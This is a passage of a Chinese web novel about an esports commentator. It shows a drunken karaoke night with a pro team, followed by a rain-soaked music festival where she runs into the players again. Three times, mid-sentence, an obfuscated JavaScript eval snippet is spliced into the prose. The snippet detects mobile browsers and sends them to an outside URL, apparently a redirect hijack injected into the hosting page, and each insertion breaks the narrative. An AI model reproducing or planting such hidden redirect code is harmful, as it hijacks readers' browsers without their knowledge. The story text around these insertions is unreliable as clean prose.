连昼放松下来,配合氛围笑了笑,一转头发现不对劲,怎么整个包厢就剩他们四个了。 “小渊和Ash呢?” 尼克横插一嘴:“Ash说太闷要出去透透气,小渊陪他。” 琪文却两眼放光,敏锐地抓住了自己想要的信息:“你怎么不问Monsoon去哪了,还是说你们……?” 连昼:“……” 姐,我唯二的姐,你不会嗑错CP了吧。 这个抽象的念头在连昼脑袋里一闪而过,马上被她狠狠镇压。 什么嗑错CP。 没有,本来就什么CP也没有。 就当作什么也没有好了。 24.睡前服 这顿饭实在是吃得七零八碎。 明明一行人整整齐齐来的,但消失的消失,透气的透气,愣是吃出了一种人走茶凉的萧条感。 尼克视线扫过席间四个空荡荡的位置,有些迷茫:“这也太久了,昼昼老师,你回来路上没碰见他们?” 连昼果断摇头:“没,一个都没看见。” 大秦教练翻出手机,挨个儿给失踪的上、野、中、下四人打电话,挂断电话之后又过了好久,久到在场几人都吃也吃不下去、聊也找不到话聊,他们才两两成组回到包厢。 尼克问:“你们还吃不吃了?” 上单沉默落座,打野摔了一下筷子,中单摆出一个漫不经心的假笑不说话,AD目不斜视,一副不想理这个世界的样子。 尼克:“……爱吃不吃。” Dzz没头没脑地问:“你门,去了,搭架?” 季明礼笑了一声:“没来得及打。” “你们不是夺冠了吗,打什么架?” 思齐眉飞色舞爆料,“不过我跟你们讲,有一年春季赛,真有队伍输掉决赛打起来了,就是那个……” 连昼听得神游天外,脑袋里像塞满了棉花,软绵绵的什么也想不通。 眼睛也被蒙上一层雾似的,虚无缥缈地盯着眼前盘碟上的青蓝色的花纹,眼神逐渐失去焦点,进入放空状态。 直到琪文戳了戳她的手臂:“走了。” 连昼懵懵地起身,跟着走出包厢,下楼到大厅时耳朵里才模模糊糊听见什么“不醉不归”。 她一愣,小声问琪文:“我们现在是去哪?” “去唱歌呀。” 琪文兴致高昂,“刚才尼克吹得跟什么似的,我必须得去见识见识电竞男团的实力,最好给我整个《Touble Maker》看看。”[注:引用自韩国限定组合Trouble Maker发行的同名歌曲] “……”连昼默了一下,“我倒是没有那么想见识。” 琪文一把挽住她:“别扫兴,今晚不醉不归哈。” 说是不醉不归。 当看见大秦教练和尼克摆上满满三排度数为3的气泡果酒时,她们默契地噤声了。 思齐欲言又止,最后还是没忍住:“你们平时就是这样不醉不归的?” “不是。” 大秦教练自己也难以启齿,“你们懂的,要打比赛嘛,平时不醉不归都喝可乐。” 思齐:“哇,真想把你这句话录进OG传奇纪录片。” 琪文颇为不满:“他们选手喝这个就算了,我们几个今天必须正经喝啊!思齐,你去换点像样的。” 思齐领命出了包厢,没过几分钟就满载而归:“这才叫不醉不归!” 连昼其实也不怎么喝酒,对思齐带回来的那些瓶瓶罐罐一无所知,只觉得看起来就很考验酒量的样子。 但跟平时不一样的是,今晚她格外想试一试。 包厢里光线不算明亮,尼克把能关的灯都关了,占据门边唯一的皮面圆凳,像专业的气氛组一样扯嗓子招呼:“喝起来啊!谁先来一首?!” 琪文很配合:“谁先来一首生日歌啊,送给Serein!” Dzz:“倭,窝沃蜗,喔来!” 他一边努力嘶吼韩文版的生日快乐歌,一边拍着手掌道具在满脸想死的司偕边上蹿下跳。 连昼本来一个眼神也不想分给司偕,但此情此景之下,她还是幸灾乐祸地看了好几眼。 这首简短的生日歌被唱得无比漫长,好不容易熬到了结尾,大秦教练马上倡议:“换人换人,换司偕洗洗耳朵!” 琪文眼睛放光:“少爷还会唱歌呢?” 司偕远远坐在另一边,挺削的轮廓在闪烁灯光下忽明忽暗,一道拒绝冷酷如常。 “不唱。” “怎么你也这么扫兴啊,我们就是专程来听你唱的!” 琪文张口就是一顿胡诌乱捧,顺带还撞了一下连昼的肩膀,暗示她赶紧帮腔,“昼昼对不对,听不到少爷唱歌今天回去根本睡不着!” “……”连昼声音僵硬,“嗯,对,根本睡不着。” 司偕静默一瞬,垂下眼,接过麦克风。 麦克风已经提前被尼克打开了,被举到他唇边时,似有若无的叹气声一掠而过。 连昼没有抬头,随手拿起眼前一罐看不清标签的气泡酒,毫不犹豫地拉开扣环喝了一口,不太熟悉的酥麻味觉在舌尖漫延,除此之外,倒也没什么特别的味道。 她心不在焉,一口接着一口,不经意就灌下了一小半。 耳边的伴奏声从热闹的生日快乐歌转为轻缓,听起来像是一首抒情慢歌,旋律很陌生,似乎从没听过。 前奏很快结束,司偕开口唱出第一句时,连昼的动作停了一下。 琪文也很意外:“这,粤语歌?Serein到底还有多少惊喜是我不知道的?” “你没看过Serein资料吗。”思齐搭话,“阳城人啊,唱粤语歌有什么奇怪的。” 歌坛广为流传的一个说法是,没有什么能比得过粤语歌的氛围感。 连昼觉得,这个传说好像是真的。 司偕的音色本来就偏冷偏沉,低低地浸在伴奏里,字音短而轻,明明旋律几乎没什么起伏,歌词也几乎一个字都听不懂,却还是能清晰地听出其中汹涌暗潮。 尼克偷偷摸摸凑过来,躲在最边上举起手机对准司偕,摆出一副私生粉偷拍的架势。 琪文:“你在干什么?” “休赛期俱乐部还有拍团建vlog的任务要完成,这不是绝佳素材?” 尼克专心致志地调整着镜头角度,“有一说一哈,我们司偕长得是挺标致的。” 连昼条件反射地瞥过去一眼。 司偕没有起身,略显散漫地靠在沙发里,单手握麦,脸微微垂着,稍长的刘海在上半张脸投下密实阴影,眼睛挡进暧昧不明的昏暗中,只能看见线条流利的下半张侧脸,随着嘴唇的开合微微晃影。 她只看了这一眼,马上收回目光。 在与他距离最远的角落,她不断抬手,仰脸,喝着酒,一罐气泡酒喝完,又探身到前面取了一瓶。 尼克听见动静,一回头大吃一惊:“昼昼老师这么能喝?” 连昼面不改色:“嗯,没怎么醉过。” 虽然是因为没怎么喝过。 她拧开这瓶酒,浅浅抿了一口,依然没抿出什么味道。 反正也喝不明白,她懒得去看酒的标签,直接当成白开水喝。 这瓶也喝到见底的时间点上,环绕耳际的词义不明的歌声逐渐沉了下来。 司偕的声音放得很轻很轻,不知道是因为这首歌本来就这样,还是他自己也不想唱下去了。 低哼的出来最后两句格外平淡,字音咬得钝缓,近乎于一字一顿。 连昼听不懂粤语,但也勉强听出了一点模糊的语词。 ——“却不会,再梦回”。 六个字余音浮游,压得整个空间的氧气都沉重起来。 “Serein过生日还唱这么emo的歌哈。” 一片寂静里,琪文勇敢活跃气氛,“还挺好听的,歌名是什么?” “《睡前服》。”[注:《睡前服》麦浚龙,黄伟文作词。] 司偕声音残留着一点用嗓过后的沙粝,低哑的后半句被淹没在背景音里,“不是说睡不着吗。” 连昼喝完最后一口酒,把瓶子放回去,瓶底碰在镜面岩板茶几上,清脆一声响,荡在冷场的空气里,引来一片齐刷刷的视线。 连昼也不知道自己哪来的酒桶气势,眉尾一挑,用眼神指向还没怎么开动的酒瓶酒罐:“你们不喝?” 众人被震慑得一愣,尼克率先反应:“喝喝喝,喝起来。” 琪文:“我怎么感觉昼昼已经……” 话没说完,被思齐的大嗓门截断:“光喝没意思,来点小游戏啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730152|142548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定时炸弹怎么样!” Dzz 探头过来:“砸蛋,森么,丁时?” “就是手机定时,我们互相传过去,闹钟在谁手里响就轮到谁喝酒。” 思齐一顿解释,也不管Dzz有没有听懂,拿出自己手机,三下五除二定好时就塞进Dzz手里。 “计时五分钟!每个人传的时候向下一位提问,回答完毕才能继续传哈!” 游戏开始得猝不及防,Dzz嗷嗷叫起来,手机烫手似的在手里颠来颠去,他下游是嗷嗷叫得更大声的Ash,两个人你推我攘吵吵闹闹,果然瞬间就把气氛拉到最满。 琪文和尼克看热闹不嫌事大地助阵:“问啊!Dzz 你问啊!” Dzz:“你惜欢,次,森么!” 众人对这个无聊的问题嘘成一片,琪文补充规定:“接下来的问题不许这么水了!” “喜欢吃汉堡!”Ash毫不停顿,立即把手机抛向左手边,“季明礼,夏决Fmvp不是你,你服不服?” 对这个问题最敏感的思齐嗷地蹦起来:“快回答,快回答!” 手机不偏不倚砸进季明礼手里,与其他人的慌手慌脚不同,他的神态很从容,不紧不慢拿起手机,问:“可以不按照座位,随便选下一个人吗?” 思齐:“可以可以,想问谁就问谁啊!” 季明礼又停了一会儿,脸上表情有难得明显的变幻,像是对接下来要说出口的话犹豫不决。 大秦教练催促:“你别拖时间,速度回应Ash的质疑好吧!” 季明礼嘴角勾了一下,对这个问题并不怎么纠结:“服。” 但他说完这个字又闭上了嘴,并没有及时选定下一个人、抛出下一个问题。 “你注意点哈,时间可不多了!” 琪文有自己的理解角度,催进度也催得别有意味,“想问就问,机不可失失不再来!” 季明礼缓缓抬起目光,目的明确地看向连昼。 连昼看回去,视线正好对着他身后那束灯球的炫光,眼睛一瞬间被刺得生疼,连带着头脑也混沌起来。 手机被高高抛起,在遥远的距离里划过一丝轻微的风声,落在连昼膝盖上。 连昼反应迟缓地低头,盯住手机。 “轮到昼昼了哈!” 琪文一脸“果然如此”,起哄声立即跟上,“Moonsoon有什么想问的,请问!” 季明礼传完手机就没再看连昼,眼神落在自己空空如也的指尖,也不知道在看什么,几秒之后,问:“司偕有多像Morpho?” 这个问题一出口瞬间点燃全场,连大秦教练都双手握拳无声呐喊:好刺激啊! 连昼眨了眨眼,被酒精纠缠的神经运转迟滞,好一会儿才在闹哄哄里听明白这个问题的含义。 随即,整个混乱夜晚没有彻底浇灭过的恼火卷土重来。 怎么全世界都要把这个问题跟她死死捆绑。 他们的名字就非要摆在一起吗。 有多像?又不是克隆人,能有多像啊? 她越是努力思考,头脑越是发烫,一种烦不胜烦的情绪膨胀到极致。 手中酒瓶重重拍在茶几上,连昼甩掉手机,腾地起身,在众人惊诧的注视里穿过小半个包厢,径直走到司偕身前。 司偕坐在沙发里,抬起头仰视她,眼中全是茫然的错愕。 连昼微微俯身,双手捧起司偕的脸,自己的脸也贴上去,眼睛对着眼睛,左看看,右看看,斩钉截铁下定论:“不像,这是司偕!” 司偕:“……” 包厢里的所有人:“……” 琪文:“要不我们今天就到这里吧……连昼,你给我回来。” 连昼充耳不闻,自顾自捧着眼前这张脸。 她脑子里满满当当,什么想法都像浆糊一样糊里糊涂。 只有一个念头格外清晰。 今天就是天塌下来,也要把这个问题说清楚。 25.白日见鬼 “然后你反复念叨要说清楚,但是又什么都说不出来……” “站也站不稳,直接砸进Serein怀里……” “Serein又不敢动,只能接着你,最后还是他把你抱上车的……” “可以了,不要再讲了……” 连昼手动捂住手机听筒,“琪文姐,以后永远都不要再讲这件事了,好吗?好的。” 琪文的笑声在听筒另一边肆无忌惮:“谁想到你醉得那么突然啊,可惜你没看到Serein的表情,太精彩了!我第一次在少爷脸上看到那么多表情!” “不说了不说了,我现在过安检……” 连昼飞快挂断电话。 必须马上离开奚城这个诡异的地方,一秒都不能再待了。 她走得很急,急到忘了一个非常重要的问题。 直到落地云州之时,连昼才后知后觉地想起——自己好像无处可去。 上个月因为邻居太吵把云州的公寓退租了,常规赛和季后赛全程跟着赛事组住酒店,她根本没考虑过比赛结束的事情。 现在夏决才刚结束,到十月份全球巅峰赛开始之前还有一段相当漫长的休赛期,她一时之间竟然不知道应该何去何从。 连昼在机场外站了半小时,最终决定先打电话给陈霁。 陈霁毕业后一直在做自媒体,时间很自由,无论什么时候打电话给她都是秒接的:“你怎么这个时候打给我啊!我正在抢票呢!” 连昼冷哼一声,反手把电话挂了。 陈霁马上打回来:“公主殿下请站在原地别动,我现在就带一车面包人来接你。” 半个小时后,她果然带着司机大叔赶到机场,身后还跟着两个看起来有点眼熟的高个男生。 连昼:“……这么兴师动众啊。” 两个男生一个侧背头,一个茶棕色卷发,一见面就礼貌地打招呼:“连昼学姐。” 连昼脸上挂着客套微笑,脑子里努力回想,当时在小云端好像听陈霁介绍过,他们的名字是什么来着? 那个形似毛绒小狗的学弟主动介绍:“学姐,我叫柯栩然,他是程轶,上次在咖啡酒馆见过的。” “我们刚放暑假,跟陈霁学姐约好一起出去玩。” 连昼镇定点头:“嗯,我记得的,好久不见。” 柯栩然帮忙把行李箱推出去,一路上跟紧连昼。 之前在小云端时他就说过自己会关注OG赛事,这段时间看了夏季季后赛,有很多道听途说的小道消息亟待确认。 “连昼学姐,听说Morpho也去奚城现场看决赛了,真的假的啊?” 连昼:“……不知道欸。” “还有,IR上野一言不合在后台打起来了,真的假的啊?” 连昼:“……不知道欸。” “决赛那天论坛有人爆料,说是Serein手腕受伤,严重到现场叫医生,真的假的啊?” “……” 连昼顿了顿,“这是真的。” 作为铁血少爷粉丝,柯栩然一下子紧张起来:“有多严重,影响比赛吗,手还能用吗?” 比赛是肯定影响的,至于能不能用这个问题…… 连昼愣神一秒,后腰上忽然错觉似的泛起热意,好像那道强势的禁锢还紧贴着自己,越收越紧不肯撤离。 她耳根一烫:“能用的。” 不仅能用,还能把别人死死按住,可怕得很。 怕柯栩然缠着自己继续追问他的Serein选手,连昼赶在众人前面拉开车门,率先抢占副驾位置。 陈霁和两个男生你看我我看你,又是善解人意的柯栩然出声解围:“程轶你坐中间吧。” 这样程轶和陈霁就可以顺理成章地靠紧落座了。 连昼从后视镜里向后看,看见陈霁矜持作态的样子,感觉浑身鸡皮疙瘩都冒出来了,低下头给她发消息:【你怎么还在装?】 后排陈霁的消息提示音响起,不一会儿,传来回复:【因为还没拿下。】 【连昼:就这么难吗?】 【陈霁:你这种木头不懂,越喜欢越难。】 被贴脸嘲讽木头,连昼下意识就是一句:【谁说我不懂。】 【陈霁:?】 【陈霁:你懂什么?】 【陈霁:跟我说说,你懂什么了?】 【陈霁:人呢,不回消息的人要吞一千根针!】 连昼倒也不是故意不回消息。 只是她的指尖在键盘上游移了半天,26个字母键愣是按不出一个完整的字。 最后只能无视陈霁抓心挠肺的追问,退出聊天框。 她扣下手机屏幕一抬眼,感觉有点不对劲:“这是去哪里的路?” 陈霁在后排咬牙切齿:“去你心里的路。” 柯栩然倾身向前,脑袋歪在副驾座背上,神态像毛绒小狗一样可爱无辜:“连昼学姐不知道吗,我们现在去申 城。” 连昼回头,一脸茫然:“去申城干什么?” “去申城的热夏音乐节。”柯栩然解释,“这是暴雨乐队今年参加的第一场活动,所以票特别难抢,今天开了二次补售,刚才学姐你打电话过来的时候就是在抢这个。” 暴雨乐队……好像是有听说过。 大概算是这几年名声大噪的新锐乐队,有几首放克和摇滚特别出圈,当然除此之外更出圈的是乐队成员一个比一个亮眼的颜值。 连昼问:“你们是暴雨乐队的粉丝?” 柯栩然:“我不是,程轶和陈霁学姐是。” 连昼有点无语地瞥了陈霁一眼。 鬼才信她是。 “你们抢到票了?那我怎么办?” 陈霁也很无语:“公主殿下,当然帮你抢了啊,不然让你在外面等吗。” “音乐节明天下午开始,我们今天先到申城随便逛逛。” 柯栩然的脑袋还凑在连昼的椅背,可能是努力在找共同话题,他说来说去又绕回电竞,“我记得好多队伍的电竞基地都在申城,KG和IR都是,他们从奚城回来没?” 连昼现在听见“IR”这两个音节都觉得寒毛竖立,不太自然地笑了笑:“不清楚啊,不熟。” 最好是没回吧,目前尴尬到没法跟他们呼吸同一个城市的空气。 就这么一路闲聊两三个小时,到申城时天色已黑,司机大叔放缓车速,询问他们要去哪里。 陈霁和两个学弟商量:“要不直接去那个最火的猎奇club看看?” 连昼在副驾座上昏昏欲睡,含糊拒绝:“我不去,我要睡觉。” 从奚城飞到云州落地马上来申城,连轴转累得头昏脑胀,她实在提不起猎奇的兴趣。 陈霁:“不中用的东西。” 不中用的连昼被先行送到了酒店,她也不记得自己是怎么进房间的,总之扑到床上一觉睡得天昏地暗,再醒过来时已经快到第二天中午。 陈霁在外面敲门:“连昼!我再给你半小时!” 连昼被吼得弹坐起身,一看时间十二点半,距离约好的出发时间确实只剩半小时了。 她用最快的速度洗漱了一下,随便翻了件针织吊带裙换上,匆匆出门。 另外三人等在酒店大厅里,陈霁看见她出电梯,突然一步后撤,目光直白地上下打量:“连昼,你身材是不是有点好?” 连昼低头看看自己,吊带裙的针织面料柔软贴身,把身材勾勒得曲线起伏,抹胸的位置偏低,露出胸口大片皮肤,加上她肤色特别白,一眼扫过去略晃人眼。 “我还是回去拿件外套吧。”连昼不由得抱了一下自己肩膀。 “拿什么拿。”陈霁揽住她往外推,“公主的美貌,我的荣耀。” 连昼:“……离了你谁还把我当公主。” 他们入住的酒店跟音乐节所在的春江花月广场不算远,但申城每条路都出奇地拥堵,行行停停好不容易抵达目的地,下车才发现距离音乐节入口处还有将近两千米的步行道,只能一路小跑过去。 紧赶慢赶踩着点入场,开场演出刚好开始,中心舞台上是一个从来没听说过的说唱歌手。 “你有没有为不认识的人拼过命……” 两千米冲刺在这一瞬间失去了意义,陈霁扶着围栏大口喘气,“不是说好暴雨乐队开场的吗!” 旁边有个辣妹妆女生好心告知:“暴雨在路上堵半天了,还不知道什么时候能到呢。” 八月,申城,下午两点半,阳光热烈得刺眼。 四个人跑得一头细汗,没带任何防晒装备杵在烈日下,面面相觑,观摩彼此又热又累的样子。 柯栩然率先提议:“我们先去买点水吧。” 陈霁看看程轶,又看看连昼,眼睛进沙子似的拼命眨眼。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737931|142548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……”连昼说,“可以,顺便看看有没有清凉贴和遮阳帽之类的,我们分头行动怎么样?” 陈霁:“行呀行呀,昼昼我们一起去买水。” 说完又是一顿鬼迷日眼的暗示。 连昼很无语,又很无奈。 但她还是配合地帮陈霁编造理由:“我们分开各带一个学弟吧,万一东西太多拿不动。” 柯栩然有意无意打配合:“好啊,程轶你去帮陈霁学姐,我跟连昼学姐走。” 四人分成两个方向探路,连昼跟柯栩然走在一起,没话找话地闲聊:“你可以直接叫我们名字的,不用这么客气每次都叫学姐。” “真的可以吗?” 柯栩然问得客客气气,但下一秒就毫无过渡期地改了称呼,“那叫连昼?昼昼?” 连昼尬笑了一下:“就叫连昼吧。” 算起来他们也只是第二次见面,除了偶然得知彼此粉籍之外可以说是毫无了解,连昼本来还担心两人同行回冷场,没想到柯栩然一句接着一句,根本没留出冷场的机会。 “你可能不记得了,两年前有一场南方校联辩论赛在学校举办。” “当时我才大一入学,本来跟室友约好周末去开黑OG,突然被学生会强制征用去当观众,还挺烦的。” 他笑了笑,“刚开始听院长致词听得昏昏欲睡,结果下个环节看到本校辩手出场,一下子就清醒了。” 连昼有点隐隐约约的预感:“你是说——我吗?” 柯栩然把一段隐晦的恭维说得落落大方:“对啊,当时你是三辩,我问身边同学才知道,你就是Z大招生宣传片里那个学姐。” 连昼被吹捧得脚步发虚,干笑好几声,一时不知道该怎么接话。 “我还加过你联系方式,但你没通过。”柯栩然说,“所以在小云端那天,其实是我第二次加你。” “啊,这样吗。” 连昼不傻,他都这样说了,当然就不必再问为什么想加联系方式。 于是她开始装傻:“那挺可惜的哈,大四的时候实习比较忙,可能没注意。” 柯栩然加大步伐,忽然两步跨上前去,转过身来挡在她面前。 “那现在有没有空注意一下?” 连昼:“……” 有毒吧,最近是不是被月老设置了特别关注啊。 她愣了好一会儿,没有及时给出反应。 柯栩然却并不怎么在意,施施然让开身形:“OK,现在注意到了。” 他这一整套流程自然流畅,收束及时,让人想回答也来不及,想拒绝也没切入口。 既然话题没有更进一步,连昼当然也不会主动延续。 两个人默契地恢复半生不熟状态,有一搭没一搭聊着Z大往事,又走了好几分钟才按照指示地标找到热夏市集。 说是市集,其实就是几个白房子形状的小商摊排在场地最边上,窗口摆着一些平平无奇的小玩意和零食。 但由于白房子错落排布,恰好在这周围形成了一片避光佳所,周围到处都挤着热汗淋漓的观众,整条市集像沙丁鱼罐头一样水泄不通。 柯栩然个子高,一眼就望见了最里面的糖水铺子。 “学姐你别进去挤了,在这里等我回来就行。” 连昼看着眼前刀山火海似的人潮确实有点发怵,也就没有坚持:“那你慢点,注意安全。” 柯栩然把她带到一个白房子后面躲开阳光,转身就被吞没在人海里。 此时将近下午三点,正是太阳最热烈的时候,空气里还似有若无地渗着一种闷热的潮湿,让人皮肤上浮起黏黏糊糊的错觉。 尽管站在避光的地方,气温还是高得很不舒服,连昼用手扇着风,但这点微弱的风力实在起不到什么实质性作用。 她一抬眼,刚好看见对面那个小房子的招牌上挂着“防晒衣、清凉贴、小风扇……”。 真是绝处逢生。 连昼侧身从摩肩接踵的背阴处挤出来,艰难地朝小风扇的方向行进,好不容易挤过一半距离,停下来歇了口气,忽然耳边一震,幻觉似的,听见一阵标志性的叽里呱啦的吵闹声。 随即,隔着攒动人头,她望见几个严格排序的熟悉身影闪现在白房子窗口前。 一行省略号几乎要凝成实质从连昼头顶冒出来。 简直白日见鬼。 这个世界还有她的容身之处吗。 26.送我都不要 这世界没有连昼的容身之处,连昼就给自己争取。 看见IR几人的一瞬间,她立马回头沿原路挤回去,缩进寿司房子后面角落,决定就算热死也不露头。 大概过了几分钟,身边的人稍微散了一些,连昼没忍住,还是露了一下头。 她偷偷摸摸从墙头探出视线,正好看见对面白房子前一队人马不太整齐地立定转身,开火车似的排着队穿过人群而去。 他们队伍最前面是尼克又圆又亮的脑门,手上举着IR的芒星队标小粉旗,看起来活像一位带小朋友出来郊游的幼稚园老师。 接着是严格排序的上、野、中、下、辅,五颗毛茸茸的脑袋在人群里高出一截,人均清爽白净男大脸吸引了不少视线,就连连昼身边也有几个女生窃窃私语,商量着派谁去要联系方式。 只不过她们商量好才发现,人这么多根本挤不过去。 “算了,长成这样一定很高冷的……” “不要紧,我已经脑补完了加微暧昧恋爱吵架分手全过程,直接进入封心锁爱阶段,这联系方式不要也罢。” “你们看那个穿白T戴项链的,怎么感觉有点眼熟,是不是在热搜见过……” 哪个? 连昼跟着好奇起来,一起伸长脖子张望。 一眼就望见了那个穿白T戴项链的司偕。 他高高瘦瘦,肩宽腿长身形挺拔,一头港风蓬松黑发,长刘海半遮眼睛,脸型线条流利精致,鼻梁高挺,微微抿起的嘴唇薄而润泽,皮肤细腻白皙,确实是让人一见难忘的长相。 旁边女生嘴里念念有词:“见过即拥有,见过即拥有。” 连昼仗着自己躲在角落不会被发现,多看了司偕好几眼。 也在心里念念有词:送我都不要,送我都不要。 人群拥挤,IR大队人马挤了很久才终于消失在视野里。 连昼心有余悸地松了口气,刚准备再次启程去买小风扇,迎面就碰上满载而归的柯栩然。 他左手提着一大袋饮料,右手先把一杯青柠檬果茶递过来:“还冰着,可以用来降温。” 看柯栩然跑得脸色泛红的样子,连昼不好意思只顾自己,接过冰柠檬水又举起来,微微贴在他脸上:“你也降降温。” 柯栩然眼睛弯起来:“谢谢学姐。” 叫来叫去还是叫回学姐了,不得不说,乖巧小奶狗的确让人没有抵抗力。 连昼也笑了一声:“走吧,去对面买点东西。” 这次挤过去没费太多力气,他们把白房子窗口里的降暑神器全都扫荡一份,浑身挂满物资赶回集合地点。 陈霁和程轶已经回来了,与连昼这边的收获满满不同,他们双手空空,两人站在舞台围栏边上,中间空出一段冷清的距离。 连昼察言观色,指使柯栩然:“小柯,把饮料拿给程轶,陈霁你去看看想喝什么?” 陈霁磨磨蹭蹭地靠近程轶,不知道低声说了什么,程轶把芝士桃桃杯取出来:“这杯吧,不冰。” 连昼从大袋小袋里艰难腾出手给陈霁发消息。 【连昼:这不是挺好吗,吵架了?】 消息提示音响起,陈霁面无表情地拿起手机回消息。 【陈霁:他不信我是认真的】 【连昼:我也不信】 【连昼:那怎么办】 【陈霁:别吵,我在烧烤】 两人地下接头似的迅速完成情报交流,刚放下手机,抬头就看见一大片人潮涌向他们所在的方向。 鼎沸人声像海浪一样来势汹汹,颇有些丧尸围城的既视感。 柯栩然眼疾手快,一把把连昼拉到身后,及时躲过一个撞过来的花臂大哥。 陈霁懵了:“什么情况?!” 花臂大哥于冲锋陷阵中抽空解答:“暴雨乐队到了!占前排啊!” 陈霁马上直起身,抓住程轶手臂:“那我们也去!” 她行动力惊人,话音刚落就融入了人潮之中,两人随着人群涌动越涌越远,渐渐地连人影也看不见了。 人流像飓风一样迅速卷来又迅速卷去,喧嚣过后,被留在围栏角落里的连昼:“……我们好像被抛弃了。” 柯栩然笑起来:“没关系,这样也挺好的。” 真的挺好吗? 连昼不觉得,只觉得周围突然静悄悄,独处变得略微尴尬。 她刚想找点话说,远处中心舞台的摇滚乐声忽然炸出来,随即是台下爆发的欢呼声。 这场音乐节的气氛终于被点燃,热烈得像要把场子掀翻。 连昼祭出那句中国人专属的金科玉律:“来都来了,我们也去……” 几个字说到一半,突兀地拐了个弯,“嗯?下雨了吗?” 她摸了摸眉心一点湿意,下一秒,一颗更大的雨滴砸在额头上,竟然还砸出一丝痛感。 柯栩然摊平手掌,感受了一下:“……不是雨,是冰雹。” “……” 原来刚才那阵黏黏糊糊的闷热不是错觉。 天色一瞬间从晴光万里变成黑云压城,雨滴混着冰雹砸下来,半空刮起了大风,天边的电闪雷鸣声势壮阔。 偏偏今天音乐节广场是露天的,一眼望过去找不到什么避雨的地方。 柯栩然提议:“市集那边有一次性雨衣!” 雨点和冰雹落得稀稀疏疏,两人向热夏市集的方向冲刺,刚开始时还冲得比较顺畅,但随着雨势越来越大,很多观众都从舞台那边撤回来了,路上到处都是横冲直撞的躲雨人。 “我们慢点吧,人太多了。” 柯栩然把自己的外套举起来,挡在连昼头顶。 连昼见他自己整个人都在外面淋雨,也想不了那么多,赶紧把外套举高:“一起挡,你站进来。” 柯栩然听话地靠近,两人把那件宽松外套撑开,勉强够挡住上半身。 有了挡雨道具就没那么着急了,他们走走停停找到了市集附近,刚好看见入口处白房子背后搭着一小片简易遮阳棚。 “走走,去那里。” 连昼带着柯栩然加快步伐,冲进遮阳棚的一瞬间,才看见里面已经躲着几个人。 她一下子尬在遮阳棚边缘,脚步实在迈不太进去。 棚里几人的视线齐刷刷转过来,看见她,互相都是一阵沉默。 只有柯栩然抬手搭着外套,不明所以地问连昼:“怎么了?” 尼克从几人里探出头来:“昼昼老师你先进来呀,别淋雨了!” “这么巧啊,好久……两天不见。” 连昼僵硬地笑了笑,松开头顶外套进入遮阳棚。 为了避免说太多话,她一进去就装作很忙地整理头发和衣服。 棚里光线昏暗,明明看不太清众人面容,但她还是清晰地感受到一道黏着的目光,紧紧锁在自己身上,像是带着能把人灼伤的温度,让她无法忽视。 她忍不住抬眼看向那个方向,却只看到司偕飞快地偏过头去,两道视线匆匆错过。 连昼:……又装起来了。 懒得理他,连昼回头跟尼克寒暄:“你们怎么也在这里?” “拍休赛期团建vlog呀,上次说过的。” 尼克指了指身后,连昼才看见他们队伍里还有一个满头大汗的跟拍摄像。 “Ash喜欢暴雨乐队,吵着要来这个音乐节,干脆就组织大家一起来了。” 尼克看了一眼柯栩然,大大咧咧地问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741593|142548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“没想到在这里碰到你,跟男朋友约会啊?” 这话一出,棚里几双眼睛闻风而动,简直像追光灯似的,强烈地聚焦在连昼身上。 一片寂静里,连昼干巴巴解释:“不是,是——” “他们是谁啊。” 话没说完,被一直没出声的柯栩然打断,“认识的人吗?” 连昼:…… 一时竟搞不清他是在装傻还是装瞎,最爱的Serein选手认不出来吗。 她没有拆穿,假模假样地介绍:“这是IR战队的几位选手,你应该知道的。” 接着,转向IR几人的方向,每个字音咬得无比明确,“这是我的大学学弟,今天是几个朋友一起来的。” 一道声音从最里面传来:“那现在怎么只有你们两个?” 季明礼靠在角落里,轮廓被昏暗光线和氤氲雨雾遮得略微模糊,声音却极其清晰,还能听见他很轻的嗤笑声,“又来一个。” 什么又来一个。 季明礼最近越来越谜语人了,真想把他和司偕一起打包送去联合国人道主义毁灭。 对季明礼向来不用拐弯抹角,连昼张口就问:“什么意思,你能不能说——” 猝不及防“砰”地一声,把她的声音砸断在惊天巨响里。 外面不知道什么时候奔来了一大批避雨人,声势浩大地涌向棚里,推推攘攘间,竟然把这个本就简易的遮阳棚挤塌了。 棚里棚外,所有人都呆若木鸡地静止了十秒钟,接着,人群集体炸锅,场面变得无法控制,连棚里的一行人也被挤得分崩四散,各自淹没在乱潮里。 连昼被迫暴露在外,密集钝重的冰雹和雨幕砸下来,砸得头顶生疼。 她伸手摸自己发顶,几米之外柯栩然重新举起了外套:“学姐,来我这里。” 